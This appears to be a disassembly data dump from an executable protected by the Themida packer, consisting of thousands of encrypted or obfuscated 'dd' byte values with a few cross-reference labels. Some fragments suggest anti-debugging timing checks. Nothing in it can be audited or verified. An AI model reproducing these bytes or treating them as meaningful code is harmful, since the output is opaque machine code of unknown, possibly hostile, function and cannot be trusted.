dd 8166E2B1h, 610198D7h, 0F9C88C66h, 0AF50324h, 12850FC0h
dd 6A000002h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 15042444h, 43000000h, 6CC9C353h, 8B1BB360h, 7E961DAh
dd 0FD000000h, 1A56432Eh, 0B58D28EEh, 5E5997Ch, 0D0CE8160h
dd 8B6B454Ch, 858B61C2h, 5E599D4h, 0AE9h, 835E7F00h, 6ADED69Eh
dd 92D89347h, 6E860h, 948A0000h, 0A5340DFh, 310F5250h
dd 575B585Ah, 850Fh, 61580000h, 60525050h, 310F5250h, 0F61585Ah
dd 5B506031h, 7E9h, 4C467700h, 3AA788B7h, 92585A61h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0D0C35040h, 0B960F1BEh
dd 61F2BB8Ch, 0F6185B2h, 1383h, 0EE900h, 78D0000h, 4C1943A7h
dd 0D167DDF0h, 64A20060h, 244C010Fh, 55006AFEh, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 9E902h, 2F410000h
dd 481A606Bh, 5ADD8518h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 16h, 0DEC35141h, 0C2833B2Ch, 52006A24h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 94C80DF3h, 8BCB8B60h, 820F61C1h, 8, 2840Fh, 61600000h
dd 0FC728966h, 0CE9h, 4B10A900h, 0F8E15977h, 0F324B9CDh
dd 10CEC168h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 14h, 7AC35242h, 0FE9h, 1369B300h, 58361564h, 750DCE4Ah
dd 4DCE5FAh, 2728966h, 98C0Fh, 66600000h, 2591D381h, 0CD61F78Bh
dd 18880F04h, 0E9000000h, 13h, 8895D7B4h, 6FF23215h, 847FBB2Bh
dd 233A2194h, 0E9CF0631h, 11Eh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 62C35343h, 13E860h, 0A8540000h
dd 70B744E9h, 745CFFECh, 0F145EF55h, 74BD6BCAh, 860FB4h
dd 5B000000h, 0D4858B61h, 6A05E599h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 17042444h, 40000000h, 2BDFC350h
dd 0DE9E88Bh, 0F5000000h, 0F2AC26B8h, 58317D19h, 0A096F0BFh
dd 0CE9h, 0A8C12400h, 0F36D514Ch, 0C4CD4543h, 7CB58D85h
dd 6A05E599h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1A042444h, 43000000h, 1C21C353h, 1370E46Eh, 0C8D0F1Dh
dd 0E9000000h, 7, 962CCB38h, 8DCF0304h, 0E5540E85h, 53006A05h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
dd 0B2BF0AB3h, 0D0FFC512h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ah, 82C35141h, 0E6E05ECAh, 0E860D1D1h, 8
dd 737F00B3h, 0C778BD07h, 5EC8B70Fh, 8589F861h, 5E5930Fh
dd 6A61F9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
dd 53430000h, 0AD2131C3h, 858B825Ch, 5E5930Fh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0ACC35545h, 0EBC85ADBh
dd 0F950D749h, 0AE9C3h, 86930000h, 0B586B97Fh, 470ACB2Eh
dd 59506060h, 61F38B66h, 9E9h, 88E6700h, 0B020B215h, 60611AA6h
dd 0BD83FCFCh, 5E599D4h, 27850F00h, 0F000000h, 18Bh, 85C7F800h
dd 5E599D4h, 1013Fh, 10830Fh, 800F0000h, 0Ah, 5E9h, 87767200h
dd 1AE9D674h, 0E9000000h, 7, 7766EC69h, 0E9999A8Ah, 9
dd 0B9C348CBh, 1A7B6F82h, 20CDD1h, 0B000000h, 8D3774C0h
dd 0BD8B0C70h, 5E59317h, 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h
dd 5E59313h, 7F34583Bh, 6BD38B15h, 0CA0304D2h, 8589018Bh
dd 5E5930Fh, 8B04EBh, 8B61C5EBh, 0E5930F85h, 0FCF5CF05h
dd 83E9C08Bh, 53000000h, 57565251h, 1C245C8Bh, 4D3B8166h
dd 68850F5Ah, 0F000000h, 33C43B7h, 3B8166D8h, 850F4550h
dd 57h, 3785B8Bh, 8B1C245Ch, 74032473h, 8B561C24h, 738B207Bh
dd 247C031Ch, 24740320h, 0C983FC20h, 5C8B41FFh, 178B1C24h
dd 20245403h, 8A04C783h, 74C08402h, 75033A08h, 0EB4243E8h
dd 75033AF2h, 0E1D15FE0h, 0F04B70Fh, 386048Bh, 5F1C2444h
dd 5B595A5Eh, 330008C2h, 0FFF1E9C0h, 0CA8BFFFFh, 10E8h
dd 6D78B300h, 15D8DE14h, 31321AC2h, 0F2A4C987h, 8880F21h
dd 0F000000h, 28Eh, 5F585600h, 11E9h, 281D3D00h, 6A6D1EC6h
dd 69CB23B4h, 3714A43Bh, 0C781DF73h, 5C69h, 0C38B6656h
dd 16DC685Ah, 0CE80000h, 0CF000000h, 47F77213h, 0D2AFD96h
dd 8BE1A619h, 0F5B58C2h, 0D80h, 8E900h, 3F2B0000h, 0DF3CEC9Fh
dd 378B9E38h, 81C38B66h, 90BD7EEh, 0CBB70F58h, 4618EE81h
dd 81F90C65h, 159B1AC6h, 6E875h, 8BD50000h, 0EE6834E2h
dd 10E960h, 979D0000h, 0CE52EDDFh, 0A59968E5h, 625DE451h
dd 0F18137F7h, 1947201Dh, 37895861h, 14E96060h, 0B5000000h
dd 25AA1C3Dh, 0A415E232h, 7C867Eh, 15AC5FAEh, 61D8A6CEh
dd 58D0Fh, 81660000h, 6113EFD3h, 584AEF81h, 8B10396h, 5846C781h
dd 8B660396h, 1EB81C3h, 0F000000h, 0FFFF7585h, 8ACBB9FFh
dd 48E90E3Fh, 50000001h, 54000000h, 58000000h, 5C000000h
dd 60000000h, 64000000h, 68000000h, 6C000000h, 0B0000000h
dd 0B4000000h, 0B8000000h, 0BC000000h, 0C0000000h, 0C4000000h
dd 0C8000000h, 0CC000000h, 0D0000000h, 0D4000000h, 0D8000000h
dd 0DC000000h, 0E0000000h, 0E4000000h, 0E8000000h, 0EC000000h
dd 38h dup(0)
dd 0C7000000h, 0EB005278h, 8D009B50h, 0E59BB085h, 0E5E98005h
dd 9CF08589h, 9D0B05E5h, 5E20C85h, 443EB81h, 85C6178Eh
dd 5E20A49h, 39BD8B54h, 6805E21Ah, 966FA1BCh, 369ABF66h
dd 95243481h, 0F780DC9h, 586h, 0E9A7BA00h, 0B5FF44CFh
dd 5E216A1h, 15159509h, 0BE905E2h, 0F9000000h, 3AC6D40h
dd 0DD70CEF7h, 858D1EE7h, 5E57A61h, 2FB58D31h, 0D0FF05E2h
dd 9CF48589h, 805205E5h, 0E95E74C9h, 47h, 5810Fh, 26BE0000h
db 0C5h, 4Dh, 73h
byte_527A37 db 56h ; DATA XREF: Themida_:004EE4D4o
; Themida_:004EE9A8o ...
dd 9CF0B58Bh, 68905E5h, 9CF08583h, 5E0405E5h, 0B58D60C3h
dd 5E59BB0h, 6A560FEBh, 0FF36FF00h, 0E59CF495h, 0C6835E05h
dd 3E8304h, 0C361EC75h, 4598D89h, 0F8B905E2h, 8D770DA3h
dd 0E59D9285h, 0DA8B6605h, 2D318589h, 0E5E905E2h, 10000000h
dd 0DCFFEE4Dh, 1D1F3271h, 0DD7A0E0Ah, 3733538Fh, 557D2F6Dh
dd 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h
dd 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h
dd 6D171E57h, 602075DFh, 20206020h, 2060E0E0h, 0F77B68ACh
dd 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h, 60206020h
dd 20206020h, 2060E0E0h, 0A335375h, 557D2F0Dh, 60206020h
dd 0A7286020h, 50F0362Bh, 0B6F360D6h, 0F796A1EFh, 0E3A7B4E0h
dd 0F47192B8h, 6DB9E9B3h, 602060F7h, 60206020h, 6DF72020h
dd 73351ADFh, 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh
dd 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h
dd 0D55FEDF7h, 37335375h, 357D2F6Dh, 0E0A1Eh, 0A766C1A8h
dd 43F2FD54h, 5A5BBBC7h, 0C73E9h, 0A18F6800h, 50E905E5h
dd 68FFFCE1h, 5E5A26Fh, 0FCE146E9h, 0A31468FFh, 3CE905E5h
dd 68FFFCE1h, 5E5A3D9h, 0FCE132E9h, 0A44268FFh, 28E905E5h
dd 68FFFCE1h, 5E5A4D6h, 0FCE11EE9h, 0A60D68FFh, 14E905E5h
dd 68FFFCE1h, 5E5A717h, 0FCE10AE9h, 0A7E968FFh, 0E905E5h
dd 68FFFCE1h, 5E5A8BBh, 0FCE0F6E9h, 0A98468FFh, 0ECE905E5h
dd 46FFFCE0h, 0BB8E1490h, 0EE537F3Bh, 4938A6EAh, 0BF82088Eh
dd 0DD6A703Eh, 2E746936h, 941AC1A0h, 0FDC13B0Eh, 216790D1h
dd 0EF48B9A5h, 0F9FD266Eh, 6E3CFEA7h, 99D82369h, 45C95C62h
dd 565485C4h, 3D258637h, 817A3D49h, 5A63E833h, 2BAEE217h
dd 0F7B52265h, 450487BAh, 2331492h, 0DEFC18B9h, 0F564E4F7h
dd 0CFA4A2B3h, 222F28FEh, 0B8BE1B0Eh, 4801FAA0h, 87F650C9h
dd 0AA23FD65h, 0FA44A091h, 0A13A71F9h, 74FF0E65h, 68990583h
dd 440F40E9h, 69C6F9FAh, 0A2E81150h, 0B7FDFCBFh, 0BFC6E754h
dd 0FA445CD2h, 291D5FF9h, 60941CDDh, 0F95EC124h, 0F9FA4478h
dd 2865D2A9h, 9C1ADFA2h, 0D46E7CEDh, 0CA644135h, 0B5A65145h
dd 0AD36D04h, 0B1F7E063h, 0A2F0EB6Ah, 0D9DF185Bh, 0D0D60342h
dd 0BEA800B5h, 0BA3C72C6h, 0E17B7CCAh, 434CF2ABh, 2B7A01Bh
dd 58FA0188h, 0E0AE3461h, 3FE6EE2Dh, 4E082h, 0EFAEA400h
dd 0EDA8A1EDh, 54319E15h, 7166E9F2h, 14B5342Bh, 0FC186423h
dd 640F40E9h, 69C6FC18h, 2E3596EDh, 0F57432A7h, 214448B2h
dd 447713B4h, 0B0F6E1DFh, 0B4ABE055h, 0FA054713h, 9AE15E01h
dd 0FA4280BDh, 7947B2F9h, 743AA322h, 7665A411h, 4BF5DD28h
dd 65E3057Bh, 0AC31E91h, 2B6A3FE7h, 55DAE3AFh, 46h, 3339AE69h
dd 35C3748Bh, 0D17E3790h, 6ECB4AFDh, 0FC1814EDh, 337E4F24h
dd 0FA7CA496h, 0E5007F01h, 0FA7CE79Ch, 6422D5F9h, 9319DE01h
dd 0D3A3AB08h, 0E9DD1B6Dh, 0E6D86BA6h, 5483C23Fh, 25863756h
dd 0F6F8h, 696EC200h, 6499D823h, 0B27FFD82h, 2B60A3D7h
dd 9532B534h, 0FC1829A4h, 3425067Dh, 36FC1829h, 0EA5FFBC1h
dd 1D5EADEBh, 377B61A0h, 3F4667D4h, 9E7DE374h, 2B4A5AF2h
dd 1820CD8Eh, 0F22F04FCh, 2B7166E9h, 892E51D0h, 0FC1820C8h
dd 0D6992219h, 0EC7F9B21h, 0FC182446h, 20276592h, 255718A1h
dd 0B18EFC18h, 5ACF7228h, 5FFBE868h, 32A918B0h, 0BDC196Ch
dd 0F6159344h, 31301439h, 0FA697EA8h, 3CDA9101h, 0F32163Bh
dd 1FD99FAAh, 6397604h, 0D1312287h, 8BE0F7DFh, 0CD4CCF32h
dd 0DFD1EB6Ch, 7C4D3AF7h, 0A66608F5h, 2D02412Eh, 0D3963C69h
dd 0D81F642Ah, 0DBFE7E36h, 8F2E74Eh, 0F7E10000h, 0A25217B3h
dd 5189F8E6h, 0F5E0414Dh, 0A5562BB7h, 9D44F31Fh, 0C9D5DB00h
dd 97338178h, 7E6428D2h, 0C2C8CE0Bh, 1546E302h, 0CCF9FD18h
dd 6D6E8541h, 11C6BB27h, 18410F8Bh, 60AF8B7Bh, 0EFF81C94h
dd 297C40B8h, 57F077ACh, 1FAEAE7h, 7B3A413Eh, 0A9FCC038h
dd 3D329B2Ch, 2EF9FAEAh, 7855DCA8h, 0D73FE666h, 0AFh, 23696EEBh
dd 0E51659D8h, 66521D5h, 0C80D98D5h, 58B70FFh, 0B974302h
dd 0DB627BF0h, 18BDD07Eh, 7B6120FCh, 2EAB9637h, 0DA1F6268h
dd 773CADDCh, 0BD03F694h, 586CED6Eh, 7A5AF36Fh, 7608ED0Eh
dd 0BA771EAFh, 0CF8EB195h, 0F827800Eh, 0FA97C75Fh, 0F5116E01h
dd 0F6695DC2h, 1FC7C551h, 6D6DDC04h, 3275F421h, 6ADFFBC9h
dd 7BC62371h, 6EFE7ECEh, 812381Bh, 0D7010000h, 827237D3h
dd 31A99806h, 0D500616Dh, 8576CBD7h, 7D64933Fh, 0E9F5BB20h
dd 0B7536198h, 1E8408F2h, 0E2E8AE2Bh, 352683E2h, 0ECF9FD1Bh
dd 6D6E65A1h, 11C6BB27h, 6E410F8Bh, 59D82369h, 1DADE16h
dd 0F713995Eh, 0A8B599D3h, 43028584h, 46F71694h, 0C39E1C65h
dd 703101FAh, 97C9068Ah, 6422D796h, 279FFA43h, 6AEDFF03h
dd 0B2C78CCDh, 78F95EF8h, 0A9F8B2C7h, 0EEFFB4D2h, 25240815h
dd 50B14E84h, 738AE105h, 0B2B59986h, 72A6F915h, 245B100Bh
dd 0A8367465h, 1D9A20D9h, 0F9D41CBEh, 6D79D8ADh, 7A000007h
dd 0AF92387Ch, 2676327h, 7DCCCAD6h, 0D3963C7Ah, 0C17E642Ah
dd 52609D22h, 0B806F5B4h, 0E1AD2F12h, 555384E5h, 0DB7C8549h
dd 0F9FD1A9Ah, 6E00CA4Bh, 0EFD82369h, 58DB4E62h, 0FC4DBFCFh
dd 7B4CDC87h, 0FA99A012h, 5047301h, 233A2C94h, 2E51D766h
dd 0FAB5C889h, 992219F9h, 6145CA8Dh, 547D59FEh, 0DF94041Ch
dd 0AAF0E9A8h, 1E9C5D2Ch, 0E4FE86Bh, 0CAF7DF12h, 0C2FF86CCh
dd 0AA818DF6h, 90BD0A11h, 0D7A3EB6h, 0BBF0BD1Ah, 22190A39h
dd 3D7B7C3Fh, 6127D091h, 86A0AD1Ah, 0BF3C4F55h, 0F54ADF42h
dd 9F574A59h, 0E9689730h, 776234A6h, 2C99D229h, 4184329Bh
dd 0E05F1057h, 0B680729Bh, 0F15035F2h, 6A8h, 594541B7h
dd 22A8ECE8h, 8B179B5Fh, 5D793FB6h, 25A1EFECh, 25D6E78Eh
dd 0CB0E739Fh, 7268D9C5h, 18C1A02Eh, 39487492h, 0FD1ADF90h
dd 0CF0F76F9h, 9E5D7B18h, 0B40F510h, 57D6B314h, 300F01FEh
dd 3894E31h, 7735A287h, 92B6DB14h, 53FB6CEFh, 6142C84Ah
dd 33A30CDDh, 0E2041F0Eh, 35FF6895h, 97F2FE7Eh, 63FCCh
dd 0EEAA2C00h, 515581E0h, 0B804F4B5h, 0E2A82F12h, 4A5885E4h
dd 4F50374Ch, 0A79A008Eh, 1606E34h, 76CBD7DBh, 0D79F3B81h
dd 1D4809AEh, 9499F9FDh, 577B1856h, 58A377D0h, 8DFA01FEh
dd 981EDB9Ah, 0CCCA0F72h, 0E5C340B9h, 1B50ABF7h, 111EBBAEh
dd 0B8041BC8h, 0DC1D5CC3h, 0D5044FDEh, 0C23FBCCFh, 2F7B6F9h
dd 0A8EB1E84h, 0DE1F6E32h, 1795420Dh, 32163BF4h, 2A2B8C0Fh
dd 20F7D384h, 116EF4B8h, 0EAE049C8h, 2D0A31EEh, 0D4A82956h
dd 0D6B3F898h, 5AB8Fh, 7A3EB800h, 0ADE9ED5Ch, 14984021h
dd 7E3CBB8Eh, 0A6EC1150h, 0DBE48338h, 33769C22h, 6DDCFAC8h
dd 0C2A7236Fh, 4B0B9715h, 1DDC9D3Ah, 875F9FDh, 23696EC2h
dd 5A6099D8h, 0B896BBBCh, 61C6793Fh, 0FC18B9F0h, 6A1D4A21h
dd 0B90D4EEBh, 6FC4FC18h, 0A076D35Eh, 0FB01FAD8h, 6310798Ch
dd 70F9FAA6h, 568BFEF6h, 0F53FE62Eh, 37h, 5D7B18C9h, 0A1A01D99h
dd 0FAD15618h, 8FB28901h, 27800CCCh, 0A13E331Ch, 6C2DF9FAh
dd 0A10B4CEDh, 6DDAF9FAh, 0ABF2BE3Ah, 0E5D19922h, 0E62B6FA2h
dd 0DBDC3Fh, 6EE60000h, 99D82369h, 84CF5E64h
dd 393A9F53h, 0E5FC18B9h, 58214F46h, 0EC5BC79Dh, 2F7E3CBDh
dd 4FCE71AEh, 183D69EAh, 0FAC3B8FCh, 0A1E71053h, 0C68029BEh
dd 0B679C583h, 48D67115h, 98FC18CAh, 0EFA9535Fh, 1744A7EBh
dd 0D70A43DAh, 0A32F6422h, 89319DEh, 8BBE92BFh, 0FAAD7C2Eh
dd 32D89701h, 31301439h, 2128298Eh, 82F9F9FAh, 3D51F639h
dd 54041FF4h, 0B429681Fh, 14490D32h, 0DF1382B3h, 73E453F7h
dd 1D4AD781h, 454BB0F1h, 7EDFF338h, 70D3B6FEh, 474h, 95317563h
dd 7E6420D4h, 0C7C3CF0Bh, 0A9357362h, 719D23D8h, 59821BFAh
dd 0FFFA4F4Bh, 0A65415B1h, 4C8DFC1Ah, 659C404Eh, 0FD1F93C4h
dd 1BC342F9h, 42FB6D6Eh, 0B266D929h, 5FE2E825h, 9D2DE1Ch
dd 8F0B9146h, 9D7B18C1h, 18B93B3Ch, 0FC9DEAFCh, 4CC35A5Ch
dd 5FC23F44h, 535F9DDCh, 0D13A83C8h, 1FA4C61h, 0A8ECE8ABh
dd 5BCF185Dh, 0D79699ECh, 0CF0C9F23h, 0C9895FEh, 4D8BF9FAh
dd 0C8DB3679h, 33723FE6h, 0B8E5C6C4h, 0BFh, 0F37F7639h
dd 0FA00E556h, 0A473CF9h, 39AEF5B1h, 0E11B845Ah, 0C0D4EDDh
dd 0F8C17726h, 0E33A8079h, 0D6357B60h, 18C1E589h, 8402F7FCh
dd 8119C285h, 8637565Ch, 0CF00C049h, 0BC5633BFh, 0CD0A7F2Bh
dd 0E41958CFh, 0BD0E4FDEh, 10345996h, 4CD6C811h, 320901FAh
dd 8ABEA394h, 34951497h, 0F9FA0003h, 0FB4465D2h, 41FD044h
dd 0ECAFD2A9h, 4425A1EFh, 0A1EC0997h, 94FE7EC3h, 36AAEF1h
dd 7F790000h, 2AAA9F3Bh, 0D901606Eh, 7D78C9D5h, 2DAE933Fh
dd 25CC7B67h, 0B15D6398h, 1FBB09F0h, 0E6ECB02Ah, 4A505683h
dd 9DDE7B8Ah, 0B4F9FD1Eh, 6D6E0DC9h, 11C6BB27h, 0B977F841h
dd 0D1AEFC18h, 0AE707E64h, 47A6ECEFh, 4D8AB516h, 44B53C4Fh
dd 0EC885846h, 76E9DD42h, 0FAC3A5D1h, 34A4E701h, 0CF0048B4h
dd 0CC394E56h, 0FDC336B9h, 0D7F02DAEh, 0A384C4B3h, 0A5ACE3D6h
dd 56C9FD62h, 0E285B1F1h, 5C81E0ABh, 8E1D9B5Ch, 40DB104Dh
dd 0DCCEA77h, 54D74A87h, 0E2D942F3h, 3A49353h, 53E73B9Ch
dd 310EAE04h, 0C8A4F0Eh, 0BA36A386h, 6BB200FBh, 631859E2h
dd 0CCC449C7h, 677A6380h, 0D74A212Dh, 0C775C172h, 0EE5B1049h
dd 66607E81h, 0C9A8FD54h, 298h, 49555187h, 12B8FCF8h, 0FBE7AB2Fh
dd 4D494F86h, 15B1FFFCh, 35A6F79Eh, 0DB1E636Fh, 8278C9D5h
dd 28D1903Eh, 9786462h, 0FD1EAFA0h, 0FF3F66F9h, 0D823696Eh
dd 0B99262EFh, 0F8D48EFh, 98DE7FFCh, 0BFA21FB0h, 7378102Ah
dd 0C2CCF047h, 0E52EF960h, 285770ADh, 0FAEF678Fh, 35D1AE01h
dd 8402F5B4h, 372F5D23h, 0CCC80C2Ah, 0DB58644Bh, 8DFAE941h
dd 8BF93D9Ah, 5B100418h, 7A2942E5h, 80C3B363h, 0BF885157h
dd 0A9926292h, 0B25505E5h, 0B824A799h, 95C28B0Dh, 0A7993592h
dd 0E8ABC9A8h, 1D5EADF3h, 9AE15ECCh, 1D0C202Dh, 0CC1D9B5Ah
dd 4CAEE445h, 5BDACFCAh, 1407DFEh, 0EDF9428h, 0FDBCA398h
dd 5110BEFCh, 0AC85E2A8h, 0FF362C33h, 1C6CBAAh, 23D50000h
dd 0CE067B67h, 7D7DCCCAh, 21D49531h, 0D10A7F9Bh, 0C9A8C7C3h
dd 1DB907F4h, 0FBE7AD2Ch, 42485486h, 16BCFAFFh, 0C172D72Eh
dd 10F9FD11h, 696EA96Dh, 62EFD823h, 0D20F9544h, 0CA8B2CAFh
dd 1BFC18B9h, 0B3149B2Ch, 1FAE44Fh, 37B6A986h, 0FA95A192h
dd 0A23B70F9h, 0DF8FE4E4h, 4EEB9EB2h, 418EFC8h, 1859FE03h
dd 0C9F7DC8Fh, 0E93C8078h, 9730376Ch, 0F7DC8FA6h, 95CB007Fh
dd 0CF9321B2h, 31A8EBBEh, 0AD31863h, 9382C31h, 4DEC32A0h
dd 0E5A4C5C5h, 0A394B5F1h, 72368183h, 44BDC805h, 0D374EBDFh
dd 0CB6709BFh, 0A7E699D6h, 1B6E7432h, 0A75312DEh, 0F24B801Bh
dd 2C660D41h, 16EDB90h, 39C77822h, 0FD351C69h, 0EA000000h
dd 5F22A8ECh, 0B2F71397h, 0ED5C7A46h, 4326ACEAh, 718E149Ah
dd 0C2D00D92h, 287665C4h, 911DDFA2h, 0C5C33475h, 4BEC15D9h
dd 0F9FD100Ah, 6E905ADBh, 0EFD82369h, 58DB4E62h, 0DDEE419h
dd 0FADD92A4h, 0BE3C0D01h, 474B8FF2h, 46CB8C0Ah, 745AFF62h
dd 84041C7Ch, 738A18C5h, 3E613126h, 0F448B7Bh, 881368BEh
dd 0D9009049h, 0F1709ECBh, 0E0C57F58h, 0F7287CDh, 33B8C3C7h
dd 7432A7AAh, 84F96E11h, 0F452A7B9h, 0C393FCCDh, 0CA5011E7h
dd 786B480h, 9D87B1A2h, 0B20B6097h, 7864A8Fh, 9D87B1A2h
dd 320B6097h, 979D8701h, 4EE747D0h, 0ED65944h, 4809AED1h
dd 99979DA2h, 186975A2h, 342D9DFh, 6BB7D6D4h, 30A915E1h
dd 9ADD6C6Ah, 0C38E5F5Dh, 0AE919016h, 0D506652Bh, 1D0669F4h
dd 87000000h, 6E5517C4h, 624DD9D0h, 0CF7695C2h, 7049860Ch
dd 4939AE8Ah, 208BDA99h, 777DBB0Ch, 0D92C686Eh, 0C05B6196h
dd 34575B81h, 25404E8Dh, 287341BAh, 1F6E34A9h, 9B21D4h
dd 769519C1h, 788307CFh, 7DB068F2h, 14890000h, 0E0895024h
dd 405h, 4E88300h, 5C240487h, 57242C89h, 0C781E789h, 4
dd 4EF81h, 3C870000h, 0C895C24h, 2D685124h, 8B16104Dh
dd 0C481240Ch, 4, 513CF181h, 0E9812620h, 2A4A7CE9h, 6859CD89h
dd 503Bh, 83242489h, 59042404h, 8BE5653h, 89000000h, 0CB015EF3h
dd 0FF5B2B89h, 81592434h, 4C4h, 2434FF00h, 4C4835Dh, 0FCD4EEE9h
dd 24544AFFh, 92B8816Ch, 0E5AAA6B8h, 0FFC50305h, 0B1EC97E0h
dd 0AEB02E3Ah, 0D056553Ch, 9D796122h, 0E7AE124Bh, 8DFDD23Ah
dd 0AB543B12h, 8DBDB712h, 284FB10Ch, 0C4EF433Dh, 0E1210302h
dd 75E923h, 66600000h, 4A8D88Ch, 35840Fh, 16A0000h, 262DB5FFh
dd 858D05E2h, 5E57A61h, 8589D0FFh, 5E22D15h, 0EFC1FE8Bh
dd 680Ch, 6A2004h, 6857026Ah, 1000Dh, 2D1595FFh, 32E905E2h
dd 0C6000000h, 0E20A4985h, 0DF685605h, 0FFA9C530h, 0E216A1B5h
dd 61858D05h, 0FF05E57Ah, 798589D0h, 8D05E224h, 0E2093585h
dd 206A5005h, 0FF56056Ah, 0E2247995h, 0C1C36105h, 4BEB06E0h
dword_528898 dd 2F0E0910h, 4B1AC53Ch, 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h
; DATA XREF: Themida_:004EED98o
dd 0CE1BF531h, 0D129B327h, 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh
dd 4600A6DBh, 1A004D82h, 0D5A3EAh, 9C000000h, 0FEBC19h
dd 0FBFE3C00h, 28000000h, 0D427E641h, 0E9C3727Dh, 0F29h
dd 185D958Bh
db 0E2h, 5
word_5288EE dw 0BD83h ; DATA XREF: Themida_:004EFB00o
; Themida_:004F0FF0o
dd 5E200B9h, 49850F00h, 8B000000h, 0E200699Dh, 0B805h
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 0BE7238C3h, 0E9845523h, 12h, 0D31FE3CBh
dd 0B2BE7388h, 0C8209A1Bh, 9A55B151h, 4C2715Ah, 0DBBF0F00h
dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
dd 53430000h, 0BD83C9C3h, 5E21EA9h, 83097500h, 0E21805BDh
dd 13740005h, 0C08B5350h, 4D0B8h, 0CE9D8D00h, 0FF05E4B0h
dd 83585BD3h, 0E21805BDh, 11740005h, 0D0B85350h, 8D000004h
dd 0E4B01B9Dh, 5BD3FF05h, 50006A58h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1C04h, 0C3504000h, 6221AC0Bh
dd 3FA9AC53h, 0EEB9660Dh, 53006A0Dh, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0BAF88BB1h
dd 27E60CD8h, 0BD89C08Bh, 5E23265h, 10870Fh, 8E80000h
dd 12000000h, 9851711Ch, 0B65E8D76h, 858D5B69h, 5E5AC24h
dd 6840Fh, 958B0000h, 5E20C09h, 24048950h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 3AC35141h, 0FC5D66A2h
dd 549F3790h, 0C49B529h, 858D05E2h, 5E5ABE1h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 7C35646h, 0AE81052h
dd 99000000h, 0E24EC6D8h, 1E0A90D9h, 0C9816609h, 505B0E76h
dd 8870Fh, 66600000h, 60010FBAh, 4896161h, 50006A24h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 8B38530Eh, 0E21101BDh, 8995FF05h, 6A05E21Ah, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
dd 3F21C356h, 96E4B475h, 0EB9BB32Ch, 2951D78Bh, 0E2075195h
dd 448B5A05h, 0FE90424h, 0B4000000h, 17C33E53h, 3D008124h
dd 0E248B4B9h, 8589DBC3h, 5E21905h, 0AC0C8589h, 0BD0905E5h
dd 5E20881h, 824448Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 17h, 7C35343h, 89A4665Bh, 0E20E8DB5h, 20858905h
dd 6A05E5ACh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 83BFC357h, 0E23311BDh, 850F0005h
dd 14Dh, 18A99589h, 85C605E2h, 5E20A49h, 98D8B47h, 0BF05E223h
dd 44F8AC18h, 4E8h, 9AA7D200h, 992B9D4h, 8B500160h, 60042444h
dd 0DE8h, 0D839C800h, 21D6AB66h, 0AFDA7364h, 9E83FDBh
dd 31000000h, 5DE8B81h, 0A59F0E12h, 0F28B5F5Eh, 0E8008B61h
dd 0Eh, 544E20F0h, 0DFCF2398h, 0D86FE9D5h, 35B9614Ch, 597D6D7Eh
dd 4244489h, 0F98B6660h, 52505250h, 585A310Fh, 0FE9310Fh
dd 8D000000h, 0CAB3CDFAh, 4BB03B65h, 0EC02F2D7h, 585AEAB1h
dd 3605861h, 0E22C099Dh, 0DD9D8905h, 6105E22Ch, 16A1B5FFh
dd 6A05E2h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
dd 51410000h, 0DBFB80C3h, 0A3494FBBh, 7A61858Dh, 6A05E5h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
dd 958B7CC3h, 5E20C91h, 6218D89h, 0D0FF05E2h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 7BC35242h, 48D5FC90h
dd 301CC3BDh, 118589B0h, 6A05E233h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 5E08C355h
dd 2961F680h, 0E224F1B5h, 0D5BD8305h, 5E230h, 0DB850Fh
dd 0D88A0000h, 0A4985C6h, 6A4705E2h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0E4C7C351h
dd 0C8AB97Bh, 0B3463410h, 0D577B3BFh, 4E85Dh, 0B5E20000h
dd 52508A0Fh, 66FB8B60h, 0F61CF8Bh, 5A66B131h, 0E9535058h
dd 0Bh, 9190C682h, 0DB84E4B2h, 59EEB6B2h, 424448Bh, 0BA665250h
dd 310FE6ACh, 28F0Fh, 61600000h, 8B585Ah, 4489FC8Ah, 60500424h
